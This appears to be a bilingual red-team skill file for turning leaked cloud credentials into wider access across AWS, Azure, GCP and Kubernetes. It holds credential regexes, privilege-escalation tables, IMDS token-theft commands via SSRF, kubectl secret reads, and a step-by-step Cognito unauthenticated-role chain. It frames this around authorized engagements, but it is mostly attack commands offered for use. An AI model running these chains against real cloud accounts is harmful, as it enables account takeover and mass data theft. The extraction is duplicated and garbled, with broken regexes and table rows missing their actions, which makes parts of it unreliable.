cloud-iam-deep
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseWhen to use
何时使用
Trigger when:
- A cloud credential surfaces (key, secret, token, JSON file)
- SSRF chain reaches IMDS / metadata endpoint
- APK / git-leak reveals embedded cloud key
- Recon shows public S3/GCS/Azure-blob with permissions you can verify
- A Kubernetes API or service-account token is exposed
- Post-RCE on a cloud-hosted instance — pivot to cloud control plane
Do NOT use for:
- On-prem-only environments (use AD attack skills — but those are out of scope per external-only boundary)
- Web2 vulns that happen to be on AWS — use the relevant skill
hunt-*
在以下情况触发:
- 发现云凭据(key、secret、token、JSON 文件)
- SSRF 链到达 IMDS / metadata endpoint
- APK / git-leak 暴露嵌入式云 key
- 侦察显示公共 S3/GCS/Azure-blob,且其权限可验证
- Kubernetes API 或 service-account token 暴露
- 云托管实例在 RCE 后取得立足点——转向云控制平面
不要用于:
- 仅本地部署环境(可使用 AD 攻击相关 skill,但按照仅外部攻击的边界,它们不在范围内)
- 恰好运行在 AWS 上的 Web2 漏洞——使用相应的 skill
hunt-*
Credential identification (first 60 seconds)
凭据识别(前 60 秒)
bash
undefinedbash
undefinedAWS access key patterns
AWS access key patterns
AKIA[0-9A-Z]{16} # IAM user access key (long-term)
ASIA[0-9A-Z]{16} # STS temporary credential
AGPA[0-9A-Z]{16} # IAM group
AIDA[0-9A-Z]{16} # IAM user (user-id)
AROA[0-9A-Z]{16} # IAM role
ANPA[0-9A-Z]{16} # Managed policy
AKIA[0-9A-Z]{16} # IAM user access key (long-term)
ASIA[0-9A-Z]{16} # STS temporary credential
AGPA[0-9A-Z]{16} # IAM group
AIDA[0-9A-Z]{16} # IAM user (user-id)
AROA[0-9A-Z]{16} # IAM role
ANPA[0-9A-Z]{16} # Managed policy
AWS secret pattern (40-char base64-ish — context required)
AWS secret pattern (40-char base64-ish — context required)
[A-Za-z0-9/+=]{40} # AWS secret access key
[A-Za-z0-9/+=]{40} # AWS secret access key
Azure
Azure
AccountKey=[A-Za-z0-9+/=]{86} # Storage account key
client_secret pattern + UUID # Azure AD app credential
AccountKey=[A-Za-z0-9+/=]{86} # Storage account key
client_secret pattern + UUID # Azure AD app credential
GCP service account JSON
GCP service account JSON
{
"type": "service_account",
"project_id": "...",
"private_key_id": "...",
"private_key": "-----BEGIN PRIVATE KEY-----..."
}
{
"type": "service_account",
"project_id": "...",
"private_key_id": "...",
"private_key": "-----BEGIN PRIVATE KEY-----..."
}
K8s SA token (JWT format — decode to confirm)
K8s SA token (JWT format — decode to confirm)
eyJhbGciOiJSUzI1... # decode kid claim to see issuer
---eyJhbGciOiJSUzI1... # decode kid claim to see issuer
---AWS — read-only validation (the safe first step)
AWS——只读验证(安全的第一步)
bash
undefinedbash
undefinedSet credential
Set credential
export AWS_ACCESS_KEY_ID="AKIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_ACCESS_KEY_ID="AKIA..."
export AWS_SECRET_ACCESS_KEY="..."
1. WHO am I?
1. WHO am I?
aws sts get-caller-identity
aws sts get-caller-identity
Returns: UserId, Account, Arn
Returns: UserId, Account, Arn
Arn tells you: IAM user vs role, account ID, name
Arn tells you: IAM user vs role, account ID, name
2. WHAT can I do? (the privesc question)
2. WHAT can I do? (the privesc question)
Try common read-only first — failures still inform you
Try common read-only first — failures still inform you
aws iam list-users 2>&1 | head -5
aws iam list-roles 2>&1 | head -5
aws iam list-policies 2>&1 | head -5
aws iam list-groups 2>&1 | head -5
aws iam list-users 2>&1 | head -5
aws iam list-roles 2>&1 | head -5
aws iam list-policies 2>&1 | head -5
aws iam list-groups 2>&1 | head -5
3. WHAT policies are attached to me?
3. WHAT policies are attached to me?
aws iam list-attached-user-policies --user-name <self>
aws iam list-user-policies --user-name <self> # inline policies
aws iam list-groups-for-user --user-name <self>
aws iam list-attached-user-policies --user-name <self>
aws iam list-user-policies --user-name <self> # inline policies
aws iam list-groups-for-user --user-name <self>
4. Service-by-service surface
4. Service-by-service surface
aws ec2 describe-instances --max-items 1 2>&1 | head
aws s3 ls 2>&1 | head -10
aws lambda list-functions --max-items 5 2>&1 | head
aws rds describe-db-instances --max-items 5 2>&1 | head
aws secretsmanager list-secrets --max-results 5 2>&1 | head
aws ssm describe-parameters --max-results 5 2>&1 | head
aws ec2 describe-instances --max-items 1 2>&1 | head
aws s3 ls 2>&1 | head -10
aws lambda list-functions --max-items 5 2>&1 | head
aws rds describe-db-instances --max-items 5 2>&1 | head
aws secretsmanager list-secrets --max-results 5 2>&1 | head
aws ssm describe-parameters --max-results 5 2>&1 | head
5. Audit any cross-account / external trust
5. Audit any cross-account / external trust
aws iam list-roles --query 'Roles[?contains(AssumeRolePolicyDocument.Statement[0].Principal.AWS, )]' 2>&1 | head -20
arn:aws:iam::
---aws iam list-roles --query 'Roles[?contains(AssumeRolePolicyDocument.Statement[0].Principal.AWS, )]' 2>&1 | head -20
arn:aws:iam::
---AWS privesc patterns (24+ documented — iam_privesc
techniques)
iam_privescAWS 权限提升模式(已记录 24+ 种——iam_privesc
技术)
iam_privescQuick lookup — if you have any of these IAM actions, escalate via the listed technique:
| You have | Escalate via |
|---|---|
| Create access key on any user → impersonate |
| Set a console password on a user → login |
| Reset console password on a user |
| Attach AdministratorAccess to self |
| Attach AdministratorAccess to a group you're in |
| Attach to a role you can assume |
| Inline AdministratorAccess to self |
| Inline policy on a group |
| Inline on a role you can assume |
| Add self to admin group |
| Modify trust to allow self |
| Create v2 of an attached policy with admin |
| Switch attached policy to admin version |
| Launch EC2 as admin role → use instance creds |
| Run code as admin role |
| CF stack creates resources as admin |
| Notebook runs as admin role |
| Pipeline runs as admin role |
| New project gets admin role |
| Spin instance, exfil creds from IMDS |
| Replace code → exfil creds |
| Add layer / env var that exfils |
| Modify stack to grant self admin |
| Direct privilege jump |
Many of the destructive ones are out-of-scope for an external red-team; document the path, don't always execute.
快速查询——如果你拥有以下任一 IAM 操作,可通过所列技术提升权限:
| 你拥有 | 通过以下方式提升 |
|---|---|
| 为任意用户创建 access key → 冒充该用户 |
| 为用户设置控制台密码 → 登录 |
| 重置用户的控制台密码 |
| 向自己附加 AdministratorAccess |
| 向自己所属的 group 附加 AdministratorAccess |
| 向自己可 assume 的 role 附加策略 |
| 向自己添加内联 AdministratorAccess |
| 为 group 添加内联策略 |
| 为自己可 assume 的 role 添加内联策略 |
| 将自己加入管理员 group |
| 修改信任策略以允许自己访问 |
| 为已附加策略创建具有管理员权限的 v2 |
| 将已附加策略切换为管理员版本 |
| 以管理员 role 启动 EC2 → 使用实例凭据 |
| 以管理员 role 运行代码 |
| 以管理员身份创建资源的 CF stack |
| 以管理员 role 运行 Notebook |
| 以管理员 role 运行 Pipeline |
| 新项目获得管理员 role |
| 启动实例,从 IMDS 外泄凭据 |
| 替换代码 → 外泄凭据 |
| 添加用于外泄数据的 layer / 环境变量 |
| 修改 stack,为自己授予管理员权限 |
| 直接提升权限 |
许多破坏性操作不在外部红队范围内;应记录路径,不要一律执行。
AWS — STS / cross-account / role chaining
AWS——STS/跨账号/role 链式操作
bash
undefinedbash
undefinedEnumerate roles you can assume across accounts
Enumerate roles you can assume across accounts
aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output json > /tmp/roles.json
aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output json > /tmp/roles.json
Parse for "Principal.AWS" containing different account IDs
Parse for "Principal.AWS" containing different account IDs
Assume a role
Assume a role
aws sts assume-role --role-arn "arn:aws:iam::OTHER_ACCT:role/CrossAccountRole" --role-session-name "rt-1"
aws sts assume-role --role-arn "arn:aws:iam::OTHER_ACCT:role/CrossAccountRole" --role-session-name "rt-1"
Set new creds
Set new creds
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."
Verify
Verify
aws sts get-caller-identity # should now show OTHER_ACCT
aws sts get-caller-identity # should now show OTHER_ACCT
Re-enumerate from new identity (chain continues)
Re-enumerate from new identity (chain continues)
**Confused-deputy pattern:** look for `sts:ExternalId` missing or trust policies that allow `arn:aws:iam::*:role/*`. If `ExternalId` is not required, anyone can assume the role.
---
**混淆代理模式:**查找缺少 `sts:ExternalId` 的情况,或允许 `arn:aws:iam::*:role/*` 的信任策略。如果不要求 `ExternalId`,任何人都能 assume 该 role。
---AWS IMDSv1 / IMDSv2 abuse via SSRF
AWS——通过 SSRF 滥用 IMDSv1/IMDSv2
bash
undefinedbash
undefinedIMDSv1 (legacy, still common — straight GET):
IMDSv1 (legacy, still common — straight GET):
Returns role name → fetch creds:
Returns role name → fetch creds:
JSON with AccessKeyId, SecretAccessKey, Token, Expiration
JSON with AccessKeyId, SecretAccessKey, Token, Expiration
IMDSv2 (requires PUT to get a token first — usually mitigates SSRF):
IMDSv2 (requires PUT to get a token first — usually mitigates SSRF):
curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
TOKEN=...
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
TOKEN=...
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
SSRF bypass for IMDSv2:
SSRF bypass for IMDSv2:
Most server-side fetchers don't issue PUT requests → IMDSv2 blocks them.
Most server-side fetchers don't issue PUT requests → IMDSv2 blocks them.
Exception: SSRF in functions that themselves perform requests with custom headers.
Exception: SSRF in functions that themselves perform requests with custom headers.
---
---Azure — credential validation
Azure——凭据验证
bash
undefinedbash
undefinedLogin with a credential
Login with a credential
az login --service-principal -u <appId> -p <password> --tenant <tenantId>
az login --service-principal -u <appId> -p <password> --tenant <tenantId>
OR with managed identity (from inside Azure VM)
OR with managed identity (from inside Azure VM)
az login --identity
az login --identity
Who am I?
Who am I?
az account show
az account show
Subscriptions
Subscriptions
az account list --output table
az account list --output table
Role assignments (Azure RBAC)
Role assignments (Azure RBAC)
az role assignment list --assignee <objectId> --all
az role assignment list --all --query '[?principalId==]' --output table
<objectId>az role assignment list --assignee <objectId> --all
az role assignment list --all --query '[?principalId==]' --output table
<objectId>Resources I can read
Resources I can read
az resource list --output table | head -30
az storage account list --output table
az keyvault list --output table
az vm list --output table
---az resource list --output table | head -30
az storage account list --output table
az keyvault list --output table
az vm list --output table
---Azure — Managed Identity abuse
Azure——Managed Identity 滥用
bash
undefinedbash
undefinedFrom inside Azure VM (post-RCE or SSRF to IMDS-equivalent):
From inside Azure VM (post-RCE or SSRF to IMDS-equivalent):
Returns access_token for the Managed Identity. Use:
Returns access_token for the Managed Identity. Use:
TOKEN="..."
curl -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions?api-version=2020-01-01"
TOKEN="..."
curl -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions?api-version=2020-01-01"
Get token for Key Vault
Get token for Key Vault
Get token for Graph
Get token for Graph
→ If Managed Identity has Graph permissions, read all M365 data
→ If Managed Identity has Graph permissions, read all M365 data
---
---Azure privesc patterns
Azure 权限提升模式
| You have | Escalate via |
|---|---|
| Self-assign Owner |
| Modify role def to add powers |
| Run command on VM (with VM's MI) |
| Read all KV secrets |
| Read all storage blobs |
| Get publish profile → RCE on app |
| Func app key → RCE via function trigger |
| Grant self Global Admin |
| 你拥有 | 通过以下方式提升 |
|---|---|
租户上的 | 为自己分配 Owner |
| 修改 role 定义以添加权限 |
| 在 VM 上运行命令(使用 VM 的 MI) |
| 读取所有 Key Vault secrets |
| 读取所有 Storage blob |
| 获取发布配置 → 在应用上执行 RCE |
| 获取函数应用 key → 通过函数触发器执行 RCE |
| 为自己授予 Global Admin |
GCP — service account JSON
GCP——service account JSON
bash
undefinedbash
undefinedActivate
Activate
gcloud auth activate-service-account --key-file=sa-leaked.json
gcloud auth activate-service-account --key-file=sa-leaked.json
Who am I?
Who am I?
gcloud auth list
gcloud config get-value account
gcloud config get-value project
gcloud auth list
gcloud config get-value account
gcloud config get-value project
What roles does this SA have? (project-level only — not org-level)
What roles does this SA have? (project-level only — not org-level)
gcloud projects get-iam-policy <projectId>
--flatten="bindings[].members"
--format="table(bindings.role)"
--filter="bindings.members:<sa-email>"
--flatten="bindings[].members"
--format="table(bindings.role)"
--filter="bindings.members:<sa-email>"
gcloud projects get-iam-policy <projectId>
--flatten="bindings[].members"
--format="table(bindings.role)"
--filter="bindings.members:<sa-email>"
--flatten="bindings[].members"
--format="table(bindings.role)"
--filter="bindings.members:<sa-email>"
Service-by-service:
Service-by-service:
gcloud compute instances list 2>&1 | head
gcloud storage buckets list 2>&1 | head
gcloud secrets list 2>&1 | head
gcloud functions list 2>&1 | head
gcloud sql instances list 2>&1 | head
gcloud container clusters list 2>&1 | head
---gcloud compute instances list 2>&1 | head
gcloud storage buckets list 2>&1 | head
gcloud secrets list 2>&1 | head
gcloud functions list 2>&1 | head
gcloud sql instances list 2>&1 | head
gcloud container clusters list 2>&1 | head
---GCP privesc patterns
GCP 权限提升模式
| You have | Escalate via |
|---|---|
| Get token for that SA |
| Chain through delegate SAs |
| Forge JWT for that SA |
| Create new key for any SA → impersonate |
| Grant self impersonation rights |
| Add admin permissions to a role you have |
| Replace code → exfil creds |
| Trigger replacement |
| Add ssh-keys metadata → SSH as root |
| Attach higher-priv SA to instance |
| Build executes attacker code |
| Resources created as DM SA |
| 你拥有 | 通过以下方式提升 |
|---|---|
高权限 SA 上的 | 获取该 SA 的 token |
| 通过 delegate SA 进行链式操作 |
高权限 SA 上的 | 为该 SA 伪造 JWT |
| 为任意 SA 创建新 key → 冒充该 SA |
| 为自己授予冒充权限 |
| 向自己拥有的 role 添加管理员权限 |
| 替换代码 → 外泄凭据 |
| 触发替换后的函数 |
| 添加 SSH key 元数据 → 以 root 身份登录 |
| 向实例附加更高权限的 SA |
| 执行攻击者代码 |
| 以 DM SA 身份创建资源 |
GCP IMDS attack (via SSRF or post-RCE)
GCP IMDS 攻击(通过 SSRF 或 RCE 后利用)
bash
undefinedbash
undefinedGCP IMDS endpoint:
GCP IMDS endpoint:
curl -H "Metadata-Flavor: Google"
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
curl -H "Metadata-Flavor: Google"
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
Returns access token. Use:
Returns access token. Use:
TOKEN=...
curl -H "Authorization: Bearer $TOKEN"
"https://cloudresourcemanager.googleapis.com/v1/projects"
"https://cloudresourcemanager.googleapis.com/v1/projects"
---TOKEN=...
curl -H "Authorization: Bearer $TOKEN"
"https://cloudresourcemanager.googleapis.com/v1/projects"
"https://cloudresourcemanager.googleapis.com/v1/projects"
---Kubernetes — exposed API / SA token
Kubernetes——暴露的 API/SA token
bash
undefinedbash
undefinedCheck anonymous access on K8s API
Check anonymous access on K8s API
Anonymous binding (system:anonymous user) — surprisingly common
Anonymous binding (system:anonymous user) — surprisingly common
If SA token exfil'd (eyJ...):
If SA token exfil'd (eyJ...):
export TOKEN="eyJ..."
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get namespaces
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify auth can-i --list
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get pods -A
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get secrets -A
undefinedexport TOKEN="eyJ..."
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get namespaces
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify auth can-i --list
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get pods -A
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get secrets -A
undefinedK8s privesc patterns
K8s 权限提升模式
| You have | Escalate via |
|---|---|
| exec into pod with admin SA token |
| Create pod mounting admin SA token |
| Read any service-account token in cluster |
| Grant self cluster-admin |
| Add permissions to role |
| Proxy to kubelet on any node → exec via kubelet |
| Bind a role you don't have to a subject |
| Operate as another principal |
| 你拥有 | 通过以下方式提升 |
|---|---|
高权限 pod 上的 | 进入 pod,并使用其中的管理员 SA token |
| 创建挂载管理员 SA token 的 pod |
| 读取集群中的任意 service-account token |
| 为自己授予 cluster-admin |
| 向 role 添加权限 |
| 代理到任意节点上的 kubelet → 通过 kubelet 执行命令 |
role 上的 | 将自己无权持有的 role 绑定到目标主体 |
用户/group/SA 上的 | 以其他 principal 身份操作 |
Tooling reference
工具参考
| Tool | Cloud | Purpose |
|---|---|---|
| Pacu | AWS | Full red-team framework, 100+ modules |
| enumerate-iam.py | AWS | Brute-force list of API calls to discover permissions |
| PMapper | AWS | Visualize privesc paths as graph |
| CloudFox | AWS | Recon-focused (enumerate resources, no privesc) |
| Prowler | AWS/Azure/GCP | Compliance scanning + enumeration |
| ScoutSuite | AWS/Azure/GCP/OCI | Multi-cloud audit |
| AzureHound | Azure | BloodHound-style graph for Azure |
| MicroBurst | Azure | Azure-specific recon and abuse modules |
| ROADtools | Azure | Entra ID enumeration toolkit |
| GCPBucketBrute | GCP | GCS bucket permission enumeration |
| gcpwn | GCP | GCP-specific exploitation framework |
| Peirates | K8s | Container/cluster exploitation toolkit |
| kube-hunter | K8s | Auto-scan cluster from inside/outside |
| kubectl-trace | K8s | Trace processes (post-foothold) |
| 工具 | 云平台 | 用途 |
|---|---|---|
| Pacu | AWS | 完整的红队框架,包含 100+ 个模块 |
| enumerate-iam.py | AWS | 暴力枚举 API 调用以发现权限 |
| PMapper | AWS | 以图形式可视化权限提升路径 |
| CloudFox | AWS | 侧重侦察(枚举资源,不进行权限提升) |
| Prowler | AWS/Azure/GCP | 合规扫描与枚举 |
| ScoutSuite | AWS/Azure/GCP/OCI | 多云审计 |
| AzureHound | Azure | Azure 专用的 BloodHound 风格关系图 |
| MicroBurst | Azure | Azure 专用侦察与滥用模块 |
| ROADtools | Azure | Entra ID 枚举工具包 |
| GCPBucketBrute | GCP | GCS bucket 权限枚举 |
| gcpwn | GCP | GCP 专用漏洞利用框架 |
| Peirates | K8s | 容器/集群漏洞利用工具包 |
| kube-hunter | K8s | 从集群内部/外部自动扫描 |
| kubectl-trace | K8s | 追踪进程(取得立足点后) |
Anti-patterns
反模式
- DO NOT run write/delete operations without explicit OK — IAM mutation is destructive and audit-visible
- DO NOT enumerate everything in scope of an account — against an account with 50,000 users is loud and slow
aws iam list-users - DO NOT use with non-test creds without confirming you have the right account — accidentally hitting prod = career risk
aws * - DO NOT confuse "I have the credential" with "this credential is current" — always check expiration / rotation via STS first
- DO NOT assume an STS token from one account works across accounts — region restrictions and trust policies apply
- DO NOT skip CloudTrail/Activity Log awareness — every API call is logged; pair with
mid-engagement-ir-detection - DO NOT pivot deeper than the SOW allows — discovering admin creds doesn't mean using them; some engagements are read-only
- 未经明确许可,不要执行写入/删除操作——IAM 变更具有破坏性且可被审计发现
- 不要枚举账号范围内的一切——对拥有 50,000 个用户的账号执行 会产生大量噪声且速度缓慢
aws iam list-users - 未确认目标账号前,不要使用非测试凭据执行 ——误触生产环境可能影响职业生涯
aws * - 不要将“我持有凭据”与“该凭据当前有效”混为一谈——始终先通过 STS 检查过期/轮换状态
- 不要假定一个账号的 STS token 可跨账号使用——区域限制和信任策略仍然适用
- 不要忽略 CloudTrail/Activity Log 意识——每次 API 调用都有日志;应与 配合使用
mid-engagement-ir-detection - 不要超出 SOW 允许的范围继续深入——发现管理员凭据并不意味着要使用它们;有些委托仅允许只读操作
Bridge to neighboring skills
与相邻 skill 的衔接
- — finds the credentials in the first place (public buckets, IMDS via SSRF, leaked JSON)
hunt-cloud-misconfig - — SSRF→IMDS is the canonical chain into cloud control plane
hunt-ssrf - — APK secret extraction commonly yields cloud creds
apk-redteam-pipeline - — CI/CD pipelines store cloud creds; finding them is a separate workflow
supply-chain-attack-recon - — Azure cross-product; Managed Identity tokens cross over to Graph
m365-entra-attack - — cloud control plane activity is monitored; expect mitigations
mid-engagement-ir-detection
- ——首先发现凭据的位置(公共 bucket、通过 SSRF 访问 IMDS、泄露的 JSON)
hunt-cloud-misconfig - ——SSRF → IMDS 是进入云控制平面的典型攻击链
hunt-ssrf - ——APK secret 提取通常会产生云凭据
apk-redteam-pipeline - ——CI/CD 流水线会存储云凭据;查找它们属于独立工作流
supply-chain-attack-recon - ——Azure 跨产品攻击;Managed Identity token 可进一步访问 Graph
m365-entra-attack - ——云控制平面活动会受到监控;应预期可能触发缓解措施
mid-engagement-ir-detection
Severity scoring guidance
严重程度评分指南
| Finding | Severity |
|---|---|
AWS access key with | Critical |
GCP SA JSON with | Critical |
| Azure MI on internet-exposed VM with Owner role | Critical |
| Leaked cred with read-only on prod data store | High (or Critical depending on data sensitivity) |
| Leaked cred with privesc path but no admin yet | High |
| Leaked cred — read access only to non-sensitive | Medium |
| Anonymous public bucket — listing only | Low/Medium |
| Anonymous bucket — write permission | High |
| 发现 | 严重程度 |
|---|---|
策略中包含 | Critical |
GCP SA JSON 对生产项目拥有 | Critical |
| 暴露在互联网的 VM 所用 Azure MI 具有 Owner role | Critical |
| 泄露凭据对生产数据存储具有只读权限 | High(或根据数据敏感度判定为 Critical) |
| 泄露凭据存在权限提升路径,但尚未获得管理员权限 | High |
| 泄露凭据仅能读取非敏感资源 | Medium |
| 匿名公共 bucket——仅可列出对象 | Low/Medium |
| 匿名 bucket——具备写入权限 | High |
Cleanup discipline (deliverable hygiene)
清理纪律(交付物规范性)
If during the engagement you:
- Used to chain — note the role names and times in IoCs
sts:AssumeRole - Created any IAM resources (test users, roles, policies) — list them with explicit cleanup confirmation
- Read sensitive data (Secrets Manager, KMS keys, Storage blob content) — note in deliverable that data was viewed but not exfiltrated outside the engagement systems
Cloud activity is trivially auditable; the client WILL find it post-engagement. Documenting now > getting blindsided later.
如果你在委托期间:
- 使用 进行了链式操作——在 IoCs 中记录 role 名称和时间
sts:AssumeRole - 创建了任何 IAM 资源(测试用户、role、策略)——列出这些资源并明确确认清理
- 读取了敏感数据(Secrets Manager、KMS key、Storage blob 内容)——在交付物中注明数据已被查看,但未被外泄到委托系统之外
云活动极易审计;委托结束后,客户一定会发现这些活动。现在记录,胜过之后措手不及。
AWS Cognito Identity Pool — Unauthenticated-Role Attack Chain (2024-2026 surface)
AWS Cognito Identity Pool——未认证 Role 攻击链(2024-2026 攻击面)
AWS Cognito has two distinct services often confused: User Pools (auth provider) and Identity Pools (federated identity → IAM credentials). Identity Pools can be configured with "Enable access to unauthenticated identities" — which gives ANY anonymous caller an IAM role via → . Mobile apps and SPAs ship the IdentityPoolId in the page bundle. Developers commonly attach overly-broad IAM permissions to the unauth role, especially when the pool was set up for AWS Amplify / Pinpoint / CloudWatch RUM and the role policy was never narrowed.
cognito-identity:GetIdcognito-identity:GetCredentialsForIdentityAWS Cognito 有两个经常被混淆的不同服务:User Pools(身份验证提供方)和 Identity Pools(联合身份 → IAM 凭据)。Identity Pools 可以配置为 “Enable access to unauthenticated identities”,这会允许任何匿名调用者通过 → 获得 IAM role。移动应用和 SPA 会在页面 bundle 中携带 IdentityPoolId。开发人员经常给未认证 role 附加过于宽泛的 IAM 权限,尤其是为 AWS Amplify / Pinpoint / CloudWatch RUM 设置的 pool,而且其 role policy 从未被收紧。
cognito-identity:GetIdcognito-identity:GetCredentialsForIdentityStep 1 — Discover the IdentityPoolId
第 1 步——发现 IdentityPoolId
The IdentityPoolId is a public identifier by AWS design ( format). The find:
<region>:<UUID>bash
undefinedIdentityPoolId 根据 AWS 设计是一个公开标识符(格式为 )。查找方式如下:
<region>:<UUID>bash
undefinedJS bundle / SPA regex (against *.js, *.html, source-map files)
JS bundle / SPA regex (against *.js, *.html, source-map files)
grep -ErohE "identityPoolId["'\s:=]+"'["']" .
grep -ErohE ""PoolId"\s*:\s*"([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})"" .
\s:=]+[\"']([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})[\"']" . grep -ErohE "IdentityPoolId[\"'grep -ErohE "identityPoolId["'\s:=]+"'["']" .
grep -ErohE ""PoolId"\s*:\s*"([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})"" .
\s:=]+[\"']([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})[\"']" . grep -ErohE "IdentityPoolId[\"'Mobile APK (after jadx decompile)
Mobile APK (after jadx decompile)
grep -rEi "identity[-]?pool[-]?id" decoded/
grep -rE ""[a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36}"" decoded/
grep -rEi "identity[-]?pool[-]?id" decoded/
grep -rE ""[a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36}"" decoded/
Also check
Also check
amplifyconfiguration.json
awsconfiguration.json
aws-exports.js
.env.js
*.js.map
Wayback CDX captures, GitHub code-search for the apex domain + `IdentityPoolId`, and JS chunks linked from `index.html` are the high-yield search corpora.amplifyconfiguration.json
awsconfiguration.json
aws-exports.js
.env.js
*.js.map
Wayback CDX 抓取记录、针对顶级域名 + `IdentityPoolId` 的 GitHub 代码搜索,以及 `index.html` 链接的 JS chunk,都是高收益搜索语料库。Step 2 — GetId
(unauth)
GetId第 2 步——GetId
(未认证)
GetIdbash
aws cognito-identity get-id \
--identity-pool-id us-east-1:abcd1234-5678-90ab-cdef-1234567890ab \
--region us-east-1 \
--no-sign-request--no-sign-request{"IdentityId": "us-east-1:<uuid>"}NotAuthorizedExceptionbash
aws cognito-identity get-id \
--identity-pool-id us-east-1:abcd1234-5678-90ab-cdef-1234567890ab \
--region us-east-1 \
--no-sign-request--no-sign-request{"IdentityId": "us-east-1:<uuid>"}NotAuthorizedExceptionStep 3 — GetCredentialsForIdentity
GetCredentialsForIdentity第 3 步——GetCredentialsForIdentity
GetCredentialsForIdentitybash
aws cognito-identity get-credentials-for-identity \
--identity-id us-east-1:<returned-uuid> \
--region us-east-1 \
--no-sign-requestReturns real STS credentials with ~1 hour TTL: (ASIA…), , , .
AccessKeyIdSecretKeySessionTokenExpirationbash
aws cognito-identity get-credentials-for-identity \
--identity-id us-east-1:<returned-uuid> \
--region us-east-1 \
--no-sign-request返回真实的 STS 凭据,TTL 约为 1 小时:(ASIA…)、、、。
AccessKeyIdSecretKeySessionTokenExpirationStep 4 — Confirm role ARN
第 4 步——确认 role ARN
bash
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identityReturns role ARN like . Account ID is now disclosed.
arn:aws:sts::<account>:assumed-role/Cognito_<PoolName>Unauth_Role/CognitoIdentityCredentialsbash
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity返回类似 的 role ARN。此时账号 ID 已被披露。
arn:aws:sts::<account>:assumed-role/Cognito_<PoolName>Unauth_Role/CognitoIdentityCredentialsStep 5 — Enumerate role permissions
第 5 步——枚举 role 权限
Direct (rare):
bash
aws iam get-role --role-name Cognito_<PoolName>Unauth_Role
aws iam list-role-policies --role-name Cognito_<PoolName>Unauth_Role
aws iam list-attached-role-policies --role-name Cognito_<PoolName>Unauth_RoleBlackbox (the normal case) — fire a permission probe across high-value services and observe vs success. Pacu's brute-forces ~500 IAM actions; by Andrés Riancho covers ~1000. Common over-permissions: /, , , , , , .
AccessDeniediam__enum_permissions --role-name <name>enumerate-iam.pys3:Get*s3:List*dynamodb:Scanlambda:InvokeFunctionappsync:GraphQLcognito-idp:AdminCreateUseriam:PassRolekms:Decrypt直接查询(少见):
bash
aws iam get-role --role-name Cognito_<PoolName>Unauth_Role
aws iam list-role-policies --role-name Cognito_<PoolName>Unauth_Role
aws iam list-attached-role-policies --role-name Cognito_<PoolName>Unauth_Role黑盒探测(常规情况)——对高价值服务发起权限探测,并观察 与成功响应。Pacu 的 会暴力枚举约 500 个 IAM 操作;Andrés Riancho 的 覆盖约 1,000 个操作。常见过度授权包括:/、、、、、、。
AccessDeniediam__enum_permissions --role-name <name>enumerate-iam.pys3:Get*s3:List*dynamodb:Scanlambda:InvokeFunctionappsync:GraphQLcognito-idp:AdminCreateUseriam:PassRolekms:DecryptSeverity rubric
严重程度标准
| Finding | Severity | Justification |
|---|---|---|
Unauth role with | Critical (9.8+) | Full AWS account takeover |
Unauth role with | Critical (9.1-9.8) | Mass PII / data breach |
Unauth role with | Critical (9.0) | Authenticated backend access |
Unauth role with | Critical (9.1) | Mass ATO primitive |
Unauth role with | Critical (9.8) | Documented priv-esc to admin |
Unauth role with | High (8.1) | Stored XSS / supply-chain |
Unauth role with | High (7.5-8.5) | Depends on ciphertext reachability |
| Unauth role with read-only on a single hardcoded non-sensitive resource | Medium (5.3) | Limited business impact |
| Unauth identities enabled but role policy denies everything | Informational | Best-practice deviation only |
| 发现 | 严重程度 | 判定依据 |
|---|---|---|
未认证 role 拥有 | Critical(9.8+) | 可完全接管 AWS 账号 |
未认证 role 对生产客户 bucket 拥有 | Critical(9.1-9.8) | 大规模 PII/数据泄露 |
未认证 role 对生产 API 拥有 | Critical(9.0) | 可访问已认证后端 |
未认证 role 对关联 User Pool 拥有 | Critical(9.1) | 大规模 ATO 原语 |
